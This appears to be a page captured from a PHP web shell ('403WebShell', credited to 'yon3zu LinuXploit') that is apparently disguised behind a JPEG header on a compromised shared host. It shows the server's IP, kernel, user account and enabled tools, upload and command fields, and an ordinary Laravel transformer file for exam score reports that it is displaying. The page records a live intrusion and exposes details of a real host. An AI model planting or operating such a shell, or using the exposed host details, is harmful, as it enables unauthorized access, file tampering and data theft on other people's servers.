����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.20.239.211
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.gltechlimited.com/app/Transformers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.gltechlimited.com/app/Transformers/Admin/ExamScoreReportTransformer.php
<?php

namespace App\Transformers\Admin;

use App\Models\ExamSession;
use App\Settings\LocalizationSettings;
use Carbon\Carbon;
use Jenssegers\Agent\Agent;
use League\Fractal\TransformerAbstract;

class ExamScoreReportTransformer extends TransformerAbstract
{
    /**
     * A Fractal transformer.
     *
     * @param ExamSession $session
     * @return array
     */
    public function transform(ExamSession $session)
    {
        $agent = new Agent();
        $agent->setUserAgent($session->results->user_agent);
        $browser = $agent->browser();
        $localization = app(LocalizationSettings::class);

        $platform = $agent->platform();
        $platform_version = $agent->version($platform);
        return [
            'id' => $session->code,
            'completed_at' => Carbon::parse($session->completed_at)->timezone($localization->default_timezone)->toDayDateTimeString(),
            'user' => "{$session->user->first_name} {$session->user->last_name}",
            'email' => $session->user->email,
            'status' => $session->results->pass_or_fail,
            'ip' => $session->results->ip_address,
            'device' => ucwords($agent->deviceType()),
            'os' => "{$platform} {$platform_version}",
            'browser' => "{$browser}",
            'properties' => [
                [
                    [
                        'key' => "Total Questions",
                        'value' => $session->results->total_questions.'Q'
                    ],
                    [
                        'key' => "Correct",
                        'value' => $session->results->correct_answered_questions.'Q'
                    ]
                ],
                [
                    [
                        'key' => "Answered",
                        'value' => $session->results->answered_questions.'Q'
                    ],
                    [
                        'key' => "Wrong",
                        'value' => $session->results->wrong_answered_questions.'Q'
                    ]
                ],
                [
                    [
                        'key' => "Exam Marks",
                        'value' => $session->results->total_marks
                    ],
                    [
                        'key' => "Exam Time",
                        'value' => $session->results->total_duration.' Minutes'
                    ],
                ],
                [
                    [
                        'key' => "Positive Marks",
                        'value' => $session->results->marks_earned
                    ],
                    [
                        'key' => "Time Taken",
                        'value' => $session->results->total_time_taken['detailed_readable']
                    ]
                ],
                [
                    [
                        'key' => "Negative Marks",
                        'value' => $session->results->marks_deducted
                    ],
                    [
                        'key' => "Pass Percentage",
                        'value' => round($session->results->cutoff, 1).'%'
                    ]
                ],
                [
                    [
                        'key' => "Final Score",
                        'value' => round($session->results->score, 1)
                    ],
                    [
                        'key' => "Final Percentage",
                        'value' => round($session->results->percentage, 1).'%',
                    ]
                ],
                [
                    [
                        'key' => "Accuracy",
                        'value' => round($session->results->accuracy, 1).'%'
                    ],
                    [
                        'key' => "Speed",
                        'value' => round($session->results->speed, 0).' Q/Hr',
                    ]
                ],
            ],
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit